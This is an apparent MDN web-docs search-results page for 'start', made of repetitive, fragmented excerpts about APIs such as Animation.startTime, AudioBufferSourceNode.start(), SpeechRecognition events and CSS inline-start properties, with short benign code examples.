start time is initially unresolved (meaning that it's null because it has no value). syntax var animation
startedwhen = animation.
starttime; animation.
starttime = new
starttime; value a floating-point number representing the current time in milliseconds, or null if no time is set. you can read this value to determine what the
start time is currently set at, and you can change this value to make the animation
start at a different time. examples in the running o...
...new
starttime; value a floating-point number representing the current time in milliseconds, or null if no time is set. you can read this value to determine what the
start time is currently set at, and you can change this value to make the animation
start at a different time. examples in the running on web animations api example, the we can sync all new animated cats by giving them all the same
starttime as the original running cat: var catrunning = document.getelementbyid ("withwaapi").animate(keyframes, timing); /* a function that makes new cats. */ function addcat(){ var newcat = document.createelement("div"); newcat.classlist.add("cat"); return newcat; } /* this is the function that adds a cat to the waapi column */ function animatenewcatwithwaapi() { // make a new cat var ne...
... in firefox, the privacy.reducetimerprecision prefe...
...And 3 more matches
OfflineAudioContext.startRendering() - Web APIs
the
startrendering() method of the offlineaudiocontext interface
starts rendering the audio graph, taking into account the current connections and the current scheduled changes. the complete event (of type offlineaudiocompletionevent) is raised when the rendering is finished, containing the resulting audiobuffer in its renderedbuffer property. browsers currently support two versions of the
startrendering() method — an older event-based version and a newer promise-based version. the former will eventually be removed, but currently both mechanisms are provided for legacy reasons. ...
... raised when the rendering is finished, containing the resulting audiobuffer in its renderedbuffer property. browsers currently support two versions of the
startrendering() method — an older event-based version and a newer promise-based version. the former will eventually be removed, but currently both mechanisms are provided for legacy reasons. syntax event-based version: offlineaudioctx.
startrendering(); offlineaudioctx.oncomplete = function(e) { // e.renderedbuffer contains the output buffer } promise-based version: offlineaudioctx.
startrendering().then(function(buffer) { // buffer contains the output buffer }); parameters none. returns void. example in this simple example, we declare both an audiocontext and an offlineaudiocontext object. we use the audiocontext to load...
...xample in this simple example, we declare both an audiocontext and an offlineaudiocontext object. we use the audiocontext to load an audio track via xhr (audiocontext.decodeaudiodata), then the offlineaudiocontext to render the audio into an audiobuffersourcenode and play the track through. after the offline audio graph is set up, you need to render it to an audiobuffer using offlineaudiocontext.
startrendering. when the
startrendering() promise resolves, rendering has completed and the output audiobuffer is returned out of the promise. at this point we create another audio context, create an audiobuffersourcenode inside it, and set its buffer to be equal to the promise audiobuffer. this is then played as part of a simple standard audio graph. note: for a working example, see our offline-au...
...And 3 more matches
PerformanceEntry.startTime - Web APIs
the
starttime property returns the first recorded timestamp of the performance entry. note: this feature is available in web workers. the value returned by this property depends on the performance entry's type: "frame" - returns the timestamp when the frame was
started. "mark" - returns the timestamp when the mark was created by a call to performance.mark(). "measure" - returns the timestamp when the measure was created by a call to performance.measure(). "navigation" - returns the timestamp with a value of "0". "resource" - returns the timestamp immediately before the browser
starts fetching the resource. this property is read only . syntax entry.
starttime; return value a domhighrestimestamp representing the first timestamp when the performance entry was created. note: if the ...
... function run_performanceentry() { log("performanceentry support ..."); if (performance.mark === undefined) { log("... ...
... function run_performanceentry() { log("performanceentry support ..."); if (performance.mark === undefined) { log("... ...
...And 3 more matches
PerformanceNavigationTiming.unloadEventStart - Web APIs
example the following example illustrates this property's usage. ...
... example the following example illustrates this property's usage. ...
... example the following example illustrates this property's usage. ...
...And 3 more matches
RTCPeerConnection.restartIce() - Web APIs
the webrtc api's rtcpeerconnection interface offers the re
startice() method to allow a web application to easily request that ice candidate gathering be redone on both ends of the connection. this simplifies the process by allowing the same method to be used by either the caller or the receiver to trigger an ice re
start. after re
startice() returns, the offer returned by the next call to createoffer() is automatically configured to trigger ice re
start on both the local peer (once the local peer has been set) and on the remote peer, once the offer is sent across your signaling mechanism and the remote peer has set its description as well. ...
...o be used by either the caller or the receiver to trigger an ice re
start. after re
startice() returns, the offer returned by the next call to createoffer() is automatically configured to trigger ice re
start on both the local peer (once the local peer has been set) and on the remote peer, once the offer is sent across your signaling mechanism and the remote peer has set its description as well. re
startice() causes the negotiationneeded event to be fired on the rtcpeerconnection to inform the application that it should perform negotiation using its signaling channel. if negotiation fails to complete—either due to rollback or because incoming offers are in the process of being negotiated—the rtcpeerconnection will remember that you requested ice re
start. the next time the connection's signal...
...erform negotiation using its signaling channel. if negotiation fails to complete—either due to rollback or because incoming offers are in the process of being negotiated—the rtcpeerconnection will remember that you requested ice re
start. the next time the connection's signalingstate changes to stable, the connection will fire the negotiationneeded event. this process continues until an ice re
start has been successfully completed. syntax rtcpeerconnection.re
startice(); parameters none. return value undefined. usage notes after calling re
startice(), the next offer created using createoffer() will initiate ice re
start once sent to the remote peer over your signaling mechanism. re
starting ice essentially resets ice so that it creates all new candidates using new credentials. existing m...
...And 3 more matches
XMLHttpRequest: loadstart event - Web APIs
the load
start event is fired when a request has
started to load data. ...
... the load
start event is fired when a request has
started to load data. ...
... the load
start event is fired when a request has
started to load data. ...
...And 3 more matches
XRSession: selectstart event - Web APIs
the webxr event select
start is sent to an xrsession when the user begins a primary action on one of its input sources. primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onselect
start for details on how the select
start, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses addeventlistener() to establish handlers for the selection events: select
start, selectend, and select. this snipp...
...t to a specialized function to handle things. after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for select
start events, a mybegintracking() function is called with the target ray pose's matrix. the mybegintracking() function would presumably
start the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up. mybegintracking() returns an object representing the object the user has begun to drag. upon receiving a select event, the mydropobje...
...target ray pose transform as inputs. this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc). the selectend event results in a mystoptracking() function being called with the object being dragged and the final target ray pose's transform. ...
...And 3 more matches
XRSession: squeezestart event - Web APIs
the webxr event squeeze
start is sent to an xrsession when the user begins a primary squeeze action on one of its input sources. primary squeeze actions are actions which are meant to represent gripping or squeezing using your hands, and may be simulated using triggers on hand controllers. bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueeze
start for details on how the squeeze
start, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses addeventlistener() to establish handlers for the squeezeion events: squeeze
start, squeezeend, and squeeze. this snippet is the core of an event handler to allow...
... to a specialized function to handle things. after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose(). if the target ray pose was fetched successfully, the code then uses the value of event property type to route control to an appropriate function to handle the event which arrived: for squeeze
start events, a mybegintracking() function is called with the target ray pose's matrix. the mybegintracking() function would presumably
start the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up. mybegintracking() returns an object representing the object the user has begun to drag. upon receiving a squeeze event, the mydropobj...
...rget ray pose transform as inputs. this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc). the squeezeend event results in a mystoptracking() function being called with the object being dragged and the final target ray pose's transform. ...
...And 3 more matches
margin-inline-start - CSS: Cascading Style Sheets
the margin-inline-
start css property defines the logical inline
start margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation. it corresponds to the margin-top, margin-right, margin-bottom, or margin-left property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ight, margin-bottom, or margin-left property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <length> values */ margin-inline-
start: 10px; /* an absolute length */ margin-inline-
start: 1em; /* relative to the text size */ margin-inline-
start: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-inline-
start: auto; /* global values */ margin-inline-
start: inherit; it relates to margin-block-
start, margin-block-end, and margin-inline-end, which define the other margins of the element. ...
...gth */ margin-inline-
start: 1em; /* relative to the text size */ margin-inline-
start: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-inline-
start: auto; /* global values */ margin-inline-
start: inherit; it relates to margin-block-
start, margin-block-end, and margin-inline-end, which define the other margins of the element. values the margin-inline-
start property takes the same values as the margin-left property. ...
...And 3 more matches
String.prototype.startsWith() - JavaScript
position optional the position in this string at which to begin searching for searchstring. defaults to 0. return value true if the given characters are found at the beginning of the string; otherwise, false. ...
... position optional the position in this string at which to begin searching for searchstring. defaults to 0. return value true if the given characters are found at the beginning of the string; otherwise, false. ...
...fied string, returning true or false as appropriate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.
startswith(searchstring[, position]) parameters searchstring the characters to be searched for at the
start of this string. position optional the position in this string at which to begin searching for searchstring. defaults to 0. return value true if the given characters are found at the beginning of the string; otherwise, false. description this method lets you determine whether or not a string begins with another string. this method is case-sensitive. polyfill this method has been added to ...
...And 3 more matches
How do I start to design my website? - Learn web development
of course you must be familiar with the technique of your craft, but what really matters is what you want to accomplish. ...
......
...for painters, writers, and web developers. technique comes second. technique is obviously critical. musicians must master their instrument. but good musicians can never produce good music without an idea. therefore, before jumping into the technical side—for example, code and tools—you must first step back and decide in detail what you want to do. an hour's discussion with friends is a good
start, but inadequate. you must sit down and structure your ideas to get a clear view of what path you must take to make your ideas a reality. to do this, you need only pen and paper and some time to answer at least the following questions. note: there are countless ways to carry out project ideation. we cannot lay them all out here (a whole book wouldn't be enough). what we will present here is a si...
...And 2 more matches
Localization quick start guide
along the way, you'll learn about the variety of projects you can contribute to and the tools used to localize them. ...
...along the way, you'll learn about the variety of projects you can contribute to and the tools used to localize them. ...
...ools used to localize them. when we get to specific examples, we'll take them from the firefox project, as it is the most widely localized project within mozilla. as you near the end of this guide, you should be able to make a change to firefox in your local setting and then see that change in the firefox interface. in closing, when you finish this guide, you will have all the tools necessary to
start contributing! remember, this guide will instruct you on the technical aspects of mozilla l10n only. visit the l10n process page to learn about the whole process. initial setup tech prep work before localizing. translation phase l10n tools tutorials for translation. qa phase l10n testing tutorials. release phase steps to shipping your localization work. these four stages make up tech sid...
...And 2 more matches
AudioBufferSourceNode.start() - Web APIs
the
start() method of the audiobuffersourcenode interface is used to schedule playback of the audio data contained in the buffer, or to begin playback immediately. syntax audiobuffersourcenode.
start([when][, offset][, duration]); parameters when optional the time, in seconds, at which the sound should begin to play, in the same time coordinate system used by the audiocontext. if when is less than (audiocontext.currenttime, or if it's 0, the sound begins to play at once. the default value is 0. offset optional an offset, specified as the number of seconds in the same time coordinate system as the audiocontext, to the time within the audio buffer that playback should begin. for example, to
start playback halfway through a 10-second audio clip, offset should be 5. the default value, 0...
...ck rate, so even if the sound is playing at twice its normal speed, the midway point through a 10-second audio buffer is still 5. duration optional the duration of the sound to be played, specified in seconds. if this parameter isn't specified, the sound plays until it reaches its natural conclusion or is stopped using the stop() method. using this parameter is functionally identical to calling
start(when, offset) and then calling stop(when+duration). return value undefined. exceptions typeerror a negative value was specified for one or more of the three time parameters. please don't attempt to tamper with the laws of temporal physics. invalidstateerror
start() has already been called. you can only call this function once during the lifetime of an audiobuffersourcenode. examples ...
...ng stop(when+duration). return value undefined. exceptions typeerror a negative value was specified for one or more of the three time parameters. please don't attempt to tamper with the laws of temporal physics. invalidstateerror
start() has already been called. you can only call this function once during the lifetime of an audiobuffersourcenode. ...
...And 2 more matches
GlobalEventHandlers.ondragstart - Web APIs
a global event handler for the drag
start event. syntax var drag
starthandler = targetelement.ondrag
start; return value drag
starthandler the drag
start event handler for element targetelement. example this example demonstrates using the ondrag
start attribute handler to set an element's drag
start event handler. ...
...t handler. ...
...=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function drag
start_handler(ev) { console.log("drag
start"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <c...
...And 2 more matches
HTMLMediaElement: loadstart event - Web APIs
the load
start event is fired when the browser has
started to load a resource. ...
... the load
start event is fired when the browser has
started to load a resource. ...
...eo; } .event-log { grid-area: log; } .event-log>label { display: block; } js const loadvideo = document.queryselector('button'); const video = document.queryselector('video'); const eventlog = document.queryselector('.event-log-contents'); let source = null; function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('load
start', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.set...
...And 2 more matches
MediaRecorder.start() - Web APIs
a blob is created and the data is collected in it until the time slice period elapses or the source media ends. ...
... record the entire duration of the media into a single blob (or until you call requestdata()), or you can specify the number of milliseconds to record at a time. then, each time that amount of media has been recorded, an event will be delivered to let you act upon the recorded media, while a new blob is created to record the next slice of the media assuming the mediarecorder's state is inactive,
start() sets the state to recording, then begins capturing media from the input stream. a blob is created and the data is collected in it until the time slice period elapses or the source media ends. each time a blob is filled up to that point (the timeslice duration or the end-of-media, if no slice duration was provided), a dataavailable event is sent to the mediarecorder with the recorded data. if t...
...ation was provided), a dataavailable event is sent to the mediarecorder with the recorded data. if the source is still playing, a new blob is created and recording continues into that, and so forth. when the source stream ends, state is set to inactive and data gathering stops. a final dataavailable event is sent to the mediarecorder, followed by a stop event. note: if the browser is unable to
start recording or continue recording, it will raise a domerror event, followed by a mediarecorder.dataavailable event containing the blob it has gathered, followed by the mediarecorder.stop event. syntax mediarecorder.
start(timeslice) parameters timeslice optional the number of milliseconds to record into each blob. if this parameter isn't included, the entire media duration is recorded into a...
...And 2 more matches
RTCOfferOptions.iceRestart - Web APIs
the icere
start property of the rtcofferoptions dictionary is a boolean value which, when true, tells the rtcpeerconnection to
start ice renegotiation. note: rather than manually creating and submitting an offer with icere
start set to true, you should consider calling the rtcpeerconnection method re
startice() instead. syntax var options = { icere
start: trueorfalse }; value a boolean value indicating whether or not the rtcpeerconnection should generate new values for the connection's ice-ufrag and ice-pwd values, which will trigger ice renegotiation on the next message sent to the remote peer. usage notes when the rtcpeerconnection object's ice connection state changes to failed, you should try to trigger an ice re
start. you should ideally do this by calling the rtcpeerconnection's r...
...cating whether or not the rtcpeerconnection should generate new values for the connection's ice-ufrag and ice-pwd values, which will trigger ice renegotiation on the next message sent to the remote peer. usage notes when the rtcpeerconnection object's ice connection state changes to failed, you should try to trigger an ice re
start. you should ideally do this by calling the rtcpeerconnection's re
startice() method, if it's available. ...
... should ideally do this by calling the rtcpeerconnection's re
startice() method, if it's available. fundamentally, this renegotiation is triggered by generating and using new values for the ice username fragment ("ufrag")}} example this example shows a handler for the iceconnectionstatechange event. it watches for the ice connection state to transition to "failed", which indicates that an ice re
start should be tried in order to attempt to bring the connection back up. ...
...And 2 more matches
Range.setStart() - Web APIs
the range.set
start() method sets the
start position of a range. if the
startnode is a node of type text, comment, or cdatasection, then
startoffset is the number of characters from the
start of
startnode. for other node types,
startoffset is the number of child nodes between the
start of the
startnode. setting the
start point below (lower in the document) the end point will result in a collapsed range with the
start and end points both set to the specified
start position. syntax range.set
start(
startnode,
startoffset); parameters
startnode the node where the range should
start.
startoffset an integer greater than or equal to zero representing the offset for the
start of the range from the
start of
startnode. examples highlight part of an element this example uses the range.setst...
...> usa</p> <hr> <p>nodes in the original address:</p> <ol id="log"></ol> javascript const address = document.getelementbyid('address'); const log = document.getelementbyid('log'); // log info address.childnodes.foreach(node => { const li = document.createelement('li'); li.textcontent = `${node.nodename}, ${node.nodevalue}`; log.appendchild(li); }); // highlight the street and city const
startoffset = 2; //
start at third node: 101 e. main st. const endoffset = 5; // end at fifth node: dodge city, ks const range = document.createrange(); range.set
start(address,
startoffset); range.setend(address, endoffset); const mark = document.createelement('mark'); range.surroundcontents(mark); result get characters from a text node this example uses the range.set
start() and range.setend(...
... living standard no change. ...
...And 2 more matches
ServiceWorkerContainer.startMessages() - Web APIs
the
startmessages() method of the serviceworkercontainer interface explicitly
starts the flow of messages being dispatched from a service worker to pages under its control (e.g. sent via client.postmessage()). this can be used to react to sent messages earlier, even before that page's content has finished loading. explanation by default, all messages sent from a page's controlling service worker to the page (using client.postmessage()) are queued while the page is loading, and get dispatched once the page's html document has been loaded and parsed (i.e. after the domcontentloaded event fires). ...
...e used to react to sent messages earlier, even before that page's content has finished loading. explanation by default, all messages sent from a page's controlling service worker to the page (using client.postmessage()) are queued while the page is loading, and get dispatched once the page's html document has been loaded and parsed (i.e. after the domcontentloaded event fires). it's possible to
start dispatching these messages earlier by calling serviceworkercontainer.
startmessages(), for example if you've invoked a message handler using eventtarget.addeventlistener() before the page has finished loading, but want to
start processing the messages right away. note: the messages
start being sent automatically when setting the handler directly using serviceworkercontainer.onmessage. in this yo...
... return value undefined. examples if('serviceworker' in navigator) { navigator.serviceworker .register('/sw.js') .then(function() { console.log('service worker registered'); }); } // ... ...
...And 2 more matches
SpeechSynthesisUtterance: start event - Web APIs
the
start event of the web speech api speechsynthesisutterance object is fired when the utterance has begun to be spoken. ...
... the
start event of the web speech api speechsynthesisutterance object is fired when the utterance has begun to be spoken. ...
... the
start event of the web speech api speechsynthesisutterance object is fired when the utterance has begun to be spoken. ...
...And 2 more matches
Starting up and shutting down a WebXR session - Web APIs
mented reality (ar) through the webxr ar module, which has is approaching a stable state. documentation for ar is forthcoming shortly here on mdn. other improvements include updating the emulator to rename the xr interface to xrsystem, introduce support for squeeze (grip) input sources, and add support for the xrinputsource property profiles. context requirements a webxr compatible environment
starts with a securely-loaded document. your document needs to either have been loaded from the local drive (such as by using an url such as http://localhost/...), or using https when loading the page. the javascript code must, likewise, have been loaded securely. if the document wasn't loaded securely, you won't get very far. the navigator.xr property doesn't even exist if the document wasn't loaded ...
...ported(). this returns a promise which resolves to true if the given type of session is available for use or false otherwise. const immersiveok = await navigator.xr.issessionsupported("immersive-vr"); if (immersiveok) { // create and use an immersive vr session } else { // create an inline session instead, or tell the user about the // incompatibility if inline is required } creating and
starting the session a webxr session is represented by an xrsession object. to obtain an xrsession, you call your xrsystem's requestsession() method, which returns a promise that resolves with an xrsession if it's able to establish one successfully. fundamentally, that looks like this: xr.requestsession("immersive-vr").then((session) => { xrsession = session; /* continue to set up the session */ ...
...atus. this option is not yet widely supported, as the ar specification is in flux. inline an on-screen presentation of the xr imagery within the context of the document window. if the session couldn't be created for some reason—such as feature policy disallowing its use or the user declining to grant permission to use the headset—the promise gets rejected. so a more complete function that
starts up and returns a webxr session could look like this: async function createimmersivesession(xr) { try { session = await xr.requestsession("immersive-vr"); return session; } catch(error) { throw error; } } this function returns the new xrsession or throws an exception if an error occurs while creating the session. customizing the session in addition to the display mode, the ...
...And 2 more matches
inset-inline-start - CSS: Cascading Style Sheets
the inset-inline-
start css property defines the logical inline
start inset of an element, which maps to a physical offset depending on the element's writing mode, directionality, and text orientation. it corresponds to the top, right, bottom, or left property depending on the values defined for writing-mode, direction, and text-orientation. /* <length> values */ inset-inline-
start: 3px; inset-inline-
start: 2.4em; /* <percentage>s of the width or height of the containing block */ inset-inline-
start: 10%; /* keyword value */ inset-inline-
start: auto; /* global values */ inset-inline-
start: inherit; inset-inline-
start: initial; inset-inline-
start: unset; the shorthand for inset-inline-
start and inset-inline-end is inset-inline. ...
...ne-
start: 3px; inset-inline-
start: 2.4em; /* <percentage>s of the width or height of the containing block */ inset-inline-
start: 10%; /* keyword value */ inset-inline-
start: auto; /* global values */ inset-inline-
start: inherit; inset-inline-
start: initial; inset-inline-
start: unset; the shorthand for inset-inline-
start and inset-inline-end is inset-inline. syntax values the inset-inline-
start property takes the same values as the left property. ...
... the inset-inline-
start property takes the same values as the left property. ...
...And 2 more matches
scroll-margin-inline-start - CSS: Cascading Style Sheets
the scroll-margin-inline-
start property defines the margin of the scroll snap area at the
start of the inline dimension that is used for snapping this box to the snapport. the scroll snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <length> values */ scroll-margin-inline-
start: 10px; scroll-margin-inline-
start: 1em; /* global values */ scroll-margin-inline-
start: inherit; scroll-margin-inline-
start: initial; scroll-margin-inline-
start: unset; values <length> an outset from the inline
start edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax...
...ype: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point. the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align:
start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align:
start, which specifies that the left-hand edges (the "
starts" along the x axis, in our case) are the designated snap points. last of all we specify the scroll margin-values, a different one for the second and third child elements: .scroller > div:nth-child(2) { ...
...And 2 more matches
Getting started with XULRunner - Archive of obsolete content
you should unzip the omni.ja file into some example directory and take a look at all the awesome! first change the file extension to zip and then use your normal filesystem's decompression tool to open it up. the contents of omni.ja are available to xulrunner applications and are what make it possible to build amazing applications easily! step 3: create the application folder structure time to
start a simple, bare bones application shell. call it a xul “hello world” if you want. all of what you see below can be found in the xulrunner documentation here on mdn in much more detail. hint: skip ahead and download the sample application, you can experiment with it while following this tutorial. you can download the sample application from https://github.com/matthewkastor/xulrunner-examples.
...t.defaultchromeuri specifies the default window to open when the application is launched. toolkit.defaultchromefeatures specifies the features passed to window.open() when the main application window is opened. toolkit.singletonwindowtype allows configuring the application to allow only one instance at a time. the toolkit preferences are described in further detail in xulrunner:specifying
startup chrome window. the debugging preferences are discussed in debugging a xulrunner application step 7: create some xul finally, we need to create a simple xul window, which is described in the file main.xul. nothing fancy here, just the minimum we need to make a window. no menus or anything. main.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wi...
...pplication.ini" note: the full path is required or a "error: couldn't parse application.ini."-message will be returned. this might also be simplified using a very simple shell script (i call mine "run.sh"): #!/bin/sh /library/frameworks/xul.framework/xulrunner-bin `pwd`/application.ini linux on ubuntu, you can run the application from a terminal. first change into the \myapp folder, then
start the application by: xulrunner application.ini you should now see a window that looks something like this. this particular screenshot is from ubuntu 10. alternative: run xul apps with firefox with firefox 3 and later, you can tell the firefox executable to run a xul application from the command line. the xul application will run instead of the firefox browser that normally
starts. this is ...
...ation by: xulrunner application.ini you should now see a window that looks something like this. this particular screenshot is from ubuntu 10. alternative: run xul apps with firefox with firefox 3 and later, you can tell the firefox executable to run a xul application from the command line. the xul application will run instead of the firefox browser that normally
starts. this is similar to
starting a xul app using xulrunner. see using firefox to run xulrunner applications. this does not work if firefox itself was installed as a xul app - you need to use the installed xulrunner directly. further reading: there are many things you can do with xulrunner (who would have thought that? typical mozilla writing style at play here). before you get too far into things you might want to read the ...
EffectTiming.iterationStart - Web APIs
web animations api's effecttiming dictionary's iteration
start property specifies the repetition number which repetition the animation begins at and its progress through it. element.animate(), keyframeeffectreadonly.keyframeeffectreadonly(), and keyframeeffect.keyframeeffect() all accept an object of timing properties including iteration
start. the value of iteration
start corresponds directly to animationeffecttimingreadonly.iteration
start in timing objects returned by animationeffectreadonly, keyframeeffectreadonly, and keyframeeffect. ...
...e(), keyframeeffectreadonly.keyframeeffectreadonly(), and keyframeeffect.keyframeeffect() all accept an object of timing properties including iteration
start. the value of iteration
start corresponds directly to animationeffecttimingreadonly.iteration
start in timing objects returned by animationeffectreadonly, keyframeeffectreadonly, and keyframeeffect. syntax var timingproperties = { iteration
start = iterationnumber }; timingproperties.iteration
start = iterationnumber; value a floating-point value whose value is at least 0 and is not +infinity, indicating the offset into the number of iterations the animation sequence is to run at which to
start animating. iteration
start represents the iteration index at which the animation effect begins as well as its progress through that iteration. ...
...at which to
start animating. iteration
start represents the iteration index at which the animation effect begins as well as its progress through that iteration. usually you'll use a value between 0.0 and 1.0 to indicate an offset into the first run of the animation at which to begin the animation performance, but any positive, non-infinite value is allowed. since all animations' iteration indexes
start at 0, a value of 0.5 would
start the animation halfway through its first iteration or loop. meanwhile, a value of 1.2 means the animation will begin playback 20% of the way through its second iteration, and so forth. it's currently undefined what happens if you specify a value of iteration
start which is greater than the value of animationeffecttimingproperties.iterations. see issue 170 in the w...
...ndefined what happens if you specify a value of iteration
start which is greater than the value of animationeffecttimingproperties.iterations. see issue 170 in the web animations api specification's issue tracker for details and status of any changes to the specification in this regard. specifications specification status comment web animationsthe definition of 'iteration
start' in that specification. working draft editor's draft. ...
OscillatorNode.start() - Web APIs
example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). ...
... example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). ...
... example the following example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). ...
...node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.
start(); specifications specification status comment web audio apithe definition of '
start' in that specification. working draft ...
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
example the following example illustrates this property's usage. ...
... example the following example illustrates this property's usage. ...
...on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount = ...
... working draft initial definition. ...
PerformanceNavigationTiming.loadEventStart - Web APIs
example the following example illustrates this property's usage. ...
... example the following example illustrates this property's usage. ...
...on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount = ...
... working draft initial definition. ...
SpeechRecognition: soundstart event - Web APIs
the sound
start event of the web speech api is fired when any sound — recognisable speech or not — has been detected. ...
... the sound
start event of the web speech api is fired when any sound — recognisable speech or not — has been detected. ...
... the sound
start event of the web speech api is fired when any sound — recognisable speech or not — has been detected. ...
...i is fired when any sound — recognisable speech or not — has been detected. bubbles no cancelable no interface event event handler property onsound
start examples you can use the sound
start event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('sound
start', function() { console.log('some sound is being received'); }); or use the onsound
start event handler property: recognition.onsound
start = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification. draft ...
SpeechRecognition: speechstart event - Web APIs
the speech
start event of the web speech api is fired when sound recognized by the speech recognition service as speech has been detected. ...
... the speech
start event of the web speech api is fired when sound recognized by the speech recognition service as speech has been detected. ...
... the speech
start event of the web speech api is fired when sound recognized by the speech recognition service as speech has been detected. ...
...d recognized by the speech recognition service as speech has been detected. bubbles no cancelable no interface event event handler property onspeech
start examples you can use the speech
start event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speech
start', function() { console.log('speech has been detected'); }); or use the onspeech
start event handler property: recognition.onspeech
start = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification. draft ...
SpeechRecognition.start() - Web APIs
return value void. ...
... return value void. ...
... return value void. ...
...al | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.
start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of '
start()' in that spe...
SpeechRecognition: start event - Web APIs
the
start event of the web speech api speechrecognition object is fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. ...
... the
start event of the web speech api speechrecognition object is fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. ...
... the
